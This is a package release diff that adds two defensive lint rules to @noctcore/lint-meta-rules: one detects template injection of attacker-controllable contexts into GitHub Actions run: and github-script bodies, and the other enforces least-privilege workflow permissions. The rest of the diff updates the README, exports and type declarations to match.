@noctcore/lint-meta-rules 0.4.1 → 0.5.0

package/README.md

@@ -45,7 +45,8 @@ over the whole catalog.
 13 nightcore lint-meta rules are ported as 12 factories — nightcore's `web-file-size-ratchet` and
 `engine-file-size-ratchet` were byte-identical logic and collapse into a single
 `createFileSizeRatchetRule` (instantiated once per capped area). Five CI-hygiene rules (category
-`ci`) are ported from a production NestJS + Vite monorepo, one factory each, for 17 factories in all.
+`ci`) are ported from a production NestJS + Vite monorepo, one factory each, and two GitHub Actions
+security rules (also `ci`) are written for this catalog, for 19 factories in all.
 
 | Factory | Source rule(s) | Category | What it enforces |
 | --- | --- | --- | --- |
@@ -63,6 +64,8 @@ over the whole catalog.
 | [`createTestRunnerSegregationRule`](./docs/rules/test-runner-segregation.md) | `test-runner-segregation` | testing | Bun-side and foreign-side test runners are never mixed within a package. |
 | [`createGithubActionsShaPinnedRule`](./docs/rules/github-actions-sha-pinned.md) | `github-actions-sha-pinned` | ci | Workflow `uses:` refs are pinned to a full commit SHA with a `# vN` comment. |
 | [`createGithubActionsRunnerPinnedRule`](./docs/rules/github-actions-runner-pinned.md) | `github-actions-runner-pinned` | ci | Workflow jobs run on a named runner image, never a `*-latest` label. |
+| [`createGithubActionsNoTemplateInjectionRule`](./docs/rules/github-actions-no-template-injection.md) | `github-actions-no-template-injection` | ci | `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names). |
+| [`createGithubActionsLeastPrivilegePermissionsRule`](./docs/rules/github-actions-least-privilege-permissions.md) | `github-actions-least-privilege-permissions` | ci | A workflow's top-level `permissions:` exists, is not `write-all`/`read-all`, and grants no write. |
 | [`createServiceImageDigestPinRule`](./docs/rules/service-image-digest-pin.md) | `service-image-digest-pin` | ci | Workflow service/container images and compose images are pinned by `@sha256:` digest. |
 | [`createDockerfileBaseImageDigestPinRule`](./docs/rules/dockerfile-base-image-digest-pin.md) | `dockerfile-base-image-digest-pin` | ci | Dockerfile `FROM` base images are pinned by `@sha256:` digest. |
 | [`createSecurityScannerVersionParityRule`](./docs/rules/security-scanner-version-parity.md) | `security-scanner-version-parity` | ci | CI and the local pre-push hook pin the same secret-scanner version, and the hook checks it at run time. |

package/dist/index.cjs

@@ -28,6 +28,8 @@ __export(index_exports, {
   createCanonicalHelpersSingleHomeRule: () => createCanonicalHelpersSingleHomeRule,
   createDockerfileBaseImageDigestPinRule: () => createDockerfileBaseImageDigestPinRule,
   createFileSizeRatchetRule: () => createFileSizeRatchetRule,
+  createGithubActionsLeastPrivilegePermissionsRule: () => createGithubActionsLeastPrivilegePermissionsRule,
+  createGithubActionsNoTemplateInjectionRule: () => createGithubActionsNoTemplateInjectionRule,
   createGithubActionsRunnerPinnedRule: () => createGithubActionsRunnerPinnedRule,
   createGithubActionsShaPinnedRule: () => createGithubActionsShaPinnedRule,
   createLayerRankRule: () => createLayerRankRule,
@@ -326,8 +328,293 @@ function createFileSizeRatchetRule(options = {}) {
   };
 }
 
+// src/rules/github-actions-least-privilege-permissions.ts
+var RULE_ID2 = "github-actions-least-privilege-permissions";
+var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
+var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
+function indentOf(line) {
+  return /^\s*/u.exec(line)?.[0].length ?? 0;
+}
+function isContent(line) {
+  const trimmed = line.trim();
+  return trimmed !== "" && !trimmed.startsWith("#");
+}
+function topLevelKeys(lines) {
+  const keys = [];
+  lines.forEach((line, index) => {
+    const match = TOP_KEY.exec(line);
+    if (match === null) return;
+    keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
+  });
+  return keys;
+}
+function blockOf(lines, index) {
+  const block = [];
+  for (let j = index + 1; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (!isContent(line)) continue;
+    if (indentOf(line) === 0) break;
+    block.push({ text: stripYamlComment(line), index: j });
+  }
+  return block;
+}
+function scopeEntries(lines, permissions) {
+  if (permissions.value.startsWith("{")) {
+    return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
+  }
+  return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
+    const match = SCOPE_ENTRY.exec(text);
+    return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
+  });
+}
+function jobsWithoutPermissions(lines, jobs) {
+  const block = blockOf(lines, jobs.index);
+  const jobColumn = indentOf(block[0]?.text ?? "");
+  const missing = [];
+  let current;
+  let keyColumn = -1;
+  const settle = () => {
+    if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
+  };
+  for (const { text } of block) {
+    const column = indentOf(text);
+    if (column === jobColumn) {
+      settle();
+      current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
+      keyColumn = -1;
+      continue;
+    }
+    if (current === void 0 || column < jobColumn) continue;
+    if (keyColumn === -1) keyColumn = column;
+    if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
+  }
+  settle();
+  return missing;
+}
+function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
+  const lines = text.split("\n");
+  const keys = topLevelKeys(lines);
+  const permissions = keys.find((entry) => entry.key === "permissions");
+  const report = (line, message) => ({
+    file,
+    rule: RULE_ID2,
+    message: `line ${line}: ${message}`,
+    line
+  });
+  if (permissions === void 0) {
+    const jobs = keys.find((entry) => entry.key === "jobs");
+    const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
+    if (missing.length === 0) return [];
+    return [
+      report(
+        1,
+        `no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
+      )
+    ];
+  }
+  const shorthand = unquote(permissions.value);
+  if (shorthand === "write-all" || shorthand === "read-all") {
+    return [
+      report(
+        permissions.index + 1,
+        `top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
+      )
+    ];
+  }
+  const allowed = new Set(allowTopLevelWrite);
+  return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
+    ({ scope, line }) => report(
+      line,
+      `top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
+    )
+  );
+}
+function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
+  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
+  const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
+  const ciCritical = options.ciCritical ?? true;
+  return {
+    id: RULE_ID2,
+    category: "ci",
+    ciCritical,
+    description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
+    run(ctx) {
+      return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
+        (file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
+      );
+    }
+  };
+}
+
+// src/rules/github-actions-no-template-injection.ts
+var RULE_ID3 = "github-actions-no-template-injection";
+var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
+var EVENT = String.raw`(?<![\w.])github\.event\.`;
+var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
+var TAINTED_CONTEXTS = [
+  new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
+  new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
+  new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
+  new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
+  new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
+  new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
+  new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
+  new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
+  /(?<![\w.])github\.head_ref\b/u
+];
+var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
+var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
+var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
+var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
+var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
+var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
+var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
+var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
+function indentOf2(line) {
+  return /^\s*/u.exec(line)?.[0].length ?? 0;
+}
+function isContent2(line) {
+  const trimmed = line.trim();
+  return trimmed !== "" && !trimmed.startsWith("#");
+}
+function parentOf(lines, index, column) {
+  for (let j = index - 1; j >= 0; j -= 1) {
+    const line = lines[j] ?? "";
+    if (isContent2(line) && indentOf2(line) < column) return j;
+  }
+  return -1;
+}
+function isGithubScriptStep(lines, withIndex) {
+  const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
+  const stepLine = lines[stepStart] ?? "";
+  if (!stepLine.trimStart().startsWith("-")) return false;
+  const dashColumn = indentOf2(stepLine);
+  for (let j = stepStart; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
+    if (GITHUB_SCRIPT_USES.test(line)) return true;
+  }
+  return false;
+}
+function safeInputNames(lines) {
+  const safe = /* @__PURE__ */ new Set();
+  lines.forEach((line, index) => {
+    if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
+    const column = indentOf2(line);
+    let nameColumn = -1;
+    let name = "";
+    for (const child of lines.slice(index + 1)) {
+      if (!isContent2(child)) continue;
+      const childColumn = indentOf2(child);
+      if (childColumn <= column) break;
+      if (nameColumn === -1) nameColumn = childColumn;
+      if (childColumn === nameColumn) {
+        name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
+        continue;
+      }
+      const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
+      if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
+    }
+  });
+  return safe;
+}
+function scriptLines(lines, index, keyColumn) {
+  const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
+  const block = BLOCK_INDICATOR.test(inline.trim());
+  const quoted = /^['"]/u.test(inline.trim());
+  const keep = (text) => block || quoted ? text : stripYamlComment(text);
+  const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
+  for (let j = index + 1; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
+    collected.push({ line: j + 1, text: keep(line) });
+  }
+  const first = collected.find((entry) => entry.text.trim() !== "");
+  if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
+  return collected;
+}
+function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
+  const found = [];
+  for (const pattern of TAINTED_CONTEXTS) {
+    const match = pattern.exec(expression);
+    if (match !== null) found.push(match[0]);
+  }
+  if (checkInputs) {
+    for (const match of expression.matchAll(INPUT_CONTEXT)) {
+      if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
+    }
+  }
+  if (checkStepOutputs) {
+    const match = STEP_OUTPUT_CONTEXT.exec(expression);
+    if (match !== null) found.push(match[0]);
+  }
+  return found;
+}
+function checkWorkflowTemplateInjection(file, text, options = {}) {
+  const checkInputs = options.checkInputs ?? true;
+  const checkStepOutputs = options.checkStepOutputs ?? false;
+  const lines = text.split("\n");
+  const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
+  const violations = [];
+  let skipThrough = -1;
+  lines.forEach((line, index) => {
+    const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
+    if (match === null) return;
+    const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
+    const key = match[3] ?? "run";
+    if (key === "script") {
+      const parent = parentOf(lines, index, keyColumn);
+      if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
+      if (!isGithubScriptStep(lines, parent)) return;
+    }
+    const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
+    const script = scriptLines(lines, index, keyColumn);
+    skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
+    for (const entry of script) {
+      for (const expression of entry.text.matchAll(EXPRESSION)) {
+        const contexts = taintedContexts(
+          expression[1] ?? "",
+          checkInputs,
+          checkStepOutputs,
+          safeInputs
+        );
+        if (contexts.length === 0) continue;
+        violations.push({
+          file,
+          rule: RULE_ID3,
+          message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
+          line: entry.line
+        });
+      }
+    }
+  });
+  return violations;
+}
+function createGithubActionsNoTemplateInjectionRule(options = {}) {
+  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
+  const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
+  const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
+  const ciCritical = options.ciCritical ?? true;
+  return {
+    id: RULE_ID3,
+    category: "ci",
+    ciCritical,
+    description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
+    run(ctx) {
+      const files = globFiles(
+        (p) => ctx.glob(p),
+        [...workflowGlobs, ...actionGlobs],
+        skipDirs
+      );
+      return files.flatMap(
+        (file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
+      );
+    }
+  };
+}
+
 // src/rules/github-actions-runner-pinned.ts
-var RULE_ID2 = "github-actions-runner-pinned";
+var RULE_ID4 = "github-actions-runner-pinned";
 var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
 var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
 function runnerLabels(lines, start, indent) {
@@ -359,7 +646,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
       if (floatingLabel.test(label)) {
         violations.push({
           file,
-          rule: RULE_ID2,
+          rule: RULE_ID4,
           message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
           line: index + 1
         });
@@ -373,7 +660,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
   const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID2,
+    id: RULE_ID4,
     category: "ci",
     ciCritical,
     description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
@@ -386,7 +673,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
 }
 
 // src/rules/github-actions-sha-pinned.ts
-var RULE_ID3 = "github-actions-sha-pinned";
+var RULE_ID5 = "github-actions-sha-pinned";
 var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
 var FULL_SHA = /^[0-9a-f]{40}$/u;
 var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
@@ -401,7 +688,7 @@ function checkWorkflowActionsPinned(file, text) {
     }
     const where = `line ${index + 1}`;
     const report = (message) => {
-      violations.push({ file, rule: RULE_ID3, message, line: index + 1 });
+      violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
     };
     if (ref.startsWith("docker://")) {
       if (!DOCKER_DIGEST.test(ref)) {
@@ -429,7 +716,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
   const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID3,
+    id: RULE_ID5,
     category: "ci",
     ciCritical,
     description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
@@ -654,7 +941,7 @@ function createPackageShapeRule(options = {}) {
 }
 
 // src/rules/security-scanner-version-parity.ts
-var RULE_ID4 = "security-scanner-version-parity";
+var RULE_ID6 = "security-scanner-version-parity";
 function createSecurityScannerVersionParityRule(options = {}) {
   const scanner = options.scanner ?? "gitleaks";
   const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
@@ -679,7 +966,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
   const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
   const mentionsScanner = new RegExp(name, "iu");
   return {
-    id: RULE_ID4,
+    id: RULE_ID6,
     category: "ci",
     ciCritical,
     description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
@@ -698,7 +985,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
       }
       const violations = [];
       const report = (file, message) => {
-        violations.push({ file, rule: RULE_ID4, message });
+        violations.push({ file, rule: RULE_ID6, message });
       };
       if (ciVersions.size > 1) {
         report(
@@ -751,7 +1038,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
 }
 
 // src/rules/service-image-digest-pin.ts
-var RULE_ID5 = "service-image-digest-pin";
+var RULE_ID7 = "service-image-digest-pin";
 var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
 var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
 var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
@@ -759,7 +1046,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
     (stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
   )
 );
-function indentOf(line) {
+function indentOf3(line) {
   return /^\s*/u.exec(line)?.[0].length ?? 0;
 }
 function workflowImages(text) {
@@ -811,7 +1098,7 @@ function composeImages(text) {
     if (line.trim() === "" || line.trimStart().startsWith("#")) {
       continue;
     }
-    const indent = indentOf(line);
+    const indent = indentOf3(line);
     if (indent === 0) {
       break;
     }
@@ -845,7 +1132,7 @@ function violationsFor(file, images, allowUnpinned) {
     const reference = image.split("@")[0];
     return {
       file,
-      rule: RULE_ID5,
+      rule: RULE_ID7,
       message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
       line
     };
@@ -858,7 +1145,7 @@ function createServiceImageDigestPinRule(options = {}) {
   const allowUnpinned = new Set(options.allowUnpinned ?? []);
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID5,
+    id: RULE_ID7,
     category: "ci",
     ciCritical,
     description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
@@ -1143,6 +1430,8 @@ var RULE_FACTORIES = {
   "canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
   "dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
   "file-size-ratchet": createFileSizeRatchetRule,
+  "github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
+  "github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
   "github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
   "github-actions-sha-pinned": createGithubActionsShaPinnedRule,
   "layer-rank": createLayerRankRule,
@@ -1171,6 +1460,8 @@ function createAllRules() {
   createCanonicalHelpersSingleHomeRule,
   createDockerfileBaseImageDigestPinRule,
   createFileSizeRatchetRule,
+  createGithubActionsLeastPrivilegePermissionsRule,
+  createGithubActionsNoTemplateInjectionRule,
   createGithubActionsRunnerPinnedRule,
   createGithubActionsShaPinnedRule,
   createLayerRankRule,

package/dist/index.d.cts

@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
  */
 declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
 
+/** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
+interface GithubActionsLeastPrivilegePermissionsOptions {
+    /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
+    readonly workflowGlobs?: readonly string[];
+    /**
+     * Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
+     * release workflow whose every job pushes). Default none.
+     */
+    readonly allowTopLevelWrite?: readonly string[];
+    /** Whether a violation fails CI. Default `true`. */
+    readonly ciCritical?: boolean;
+}
+/** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
+declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
+
+/** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
+interface GithubActionsNoTemplateInjectionOptions {
+    /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
+    readonly workflowGlobs?: readonly string[];
+    /** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
+    readonly actionGlobs?: readonly string[];
+    /** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
+    readonly skipDirs?: readonly string[];
+    /**
+     * Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
+     * same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
+     * cannot carry a script. Default `true`.
+     */
+    readonly checkInputs?: boolean;
+    /**
+     * Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
+     * whatever the step wrote into it, which the text cannot show. Default `false`.
+     */
+    readonly checkStepOutputs?: boolean;
+    /** Whether a violation fails CI. Default `true`. */
+    readonly ciCritical?: boolean;
+}
+/** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
+declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
+
 /**
  * Options for {@link createGithubActionsRunnerPinnedRule}.
  *
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
     readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
     readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
     readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
+    readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
+    readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
     readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
     readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
     readonly 'layer-rank': typeof createLayerRankRule;
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
 /** Instantiate every catalog rule with its default options. */
 declare function createAllRules(): IMetaRule[];
 
-export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
+export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };

package/dist/index.d.ts

@@ -116,6 +116,46 @@ interface FileSizeRatchetOptions {
  */
 declare function createFileSizeRatchetRule(options?: FileSizeRatchetOptions): IMetaRule;
 
+/** Options for {@link createGithubActionsLeastPrivilegePermissionsRule}. */
+interface GithubActionsLeastPrivilegePermissionsOptions {
+    /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
+    readonly workflowGlobs?: readonly string[];
+    /**
+     * Scopes allowed at `write` in the top-level `permissions:` block (for example `contents` in a
+     * release workflow whose every job pushes). Default none.
+     */
+    readonly allowTopLevelWrite?: readonly string[];
+    /** Whether a violation fails CI. Default `true`. */
+    readonly ciCritical?: boolean;
+}
+/** A workflow's top-level `permissions:` exists, is not `*-all`, and grants no write. */
+declare function createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule;
+
+/** Options for {@link createGithubActionsNoTemplateInjectionRule}. */
+interface GithubActionsNoTemplateInjectionOptions {
+    /** Globs of the workflow files to scan. Default `.github/workflows/*.y(a)ml`. */
+    readonly workflowGlobs?: readonly string[];
+    /** Globs that find composite action metadata. Default `action.yml` / `action.yaml` at any depth. */
+    readonly actionGlobs?: readonly string[];
+    /** An action path with any of these segments is skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
+    readonly skipDirs?: readonly string[];
+    /**
+     * Treat `inputs.<name>` (and `github.event.inputs.<name>`) as attacker-controlled. An input the
+     * same file declares with `type: boolean`, `number` or `choice` is still left alone: its value
+     * cannot carry a script. Default `true`.
+     */
+    readonly checkInputs?: boolean;
+    /**
+     * Treat `steps.<id>.outputs.<name>` as attacker-controlled. An output is only as tainted as
+     * whatever the step wrote into it, which the text cannot show. Default `false`.
+     */
+    readonly checkStepOutputs?: boolean;
+    /** Whether a violation fails CI. Default `true`. */
+    readonly ciCritical?: boolean;
+}
+/** No attacker-controllable `${{ }}` expression may be expanded into a `run:` or github-script body. */
+declare function createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule;
+
 /**
  * Options for {@link createGithubActionsRunnerPinnedRule}.
  *
@@ -499,6 +539,8 @@ declare const RULE_FACTORIES: {
     readonly 'canonical-helpers-single-home': typeof createCanonicalHelpersSingleHomeRule;
     readonly 'dockerfile-base-image-digest-pin': typeof createDockerfileBaseImageDigestPinRule;
     readonly 'file-size-ratchet': typeof createFileSizeRatchetRule;
+    readonly 'github-actions-least-privilege-permissions': typeof createGithubActionsLeastPrivilegePermissionsRule;
+    readonly 'github-actions-no-template-injection': typeof createGithubActionsNoTemplateInjectionRule;
     readonly 'github-actions-runner-pinned': typeof createGithubActionsRunnerPinnedRule;
     readonly 'github-actions-sha-pinned': typeof createGithubActionsShaPinnedRule;
     readonly 'layer-rank': typeof createLayerRankRule;
@@ -518,4 +560,4 @@ declare const RULE_IDS: (keyof typeof RULE_FACTORIES)[];
 /** Instantiate every catalog rule with its default options. */
 declare function createAllRules(): IMetaRule[];
 
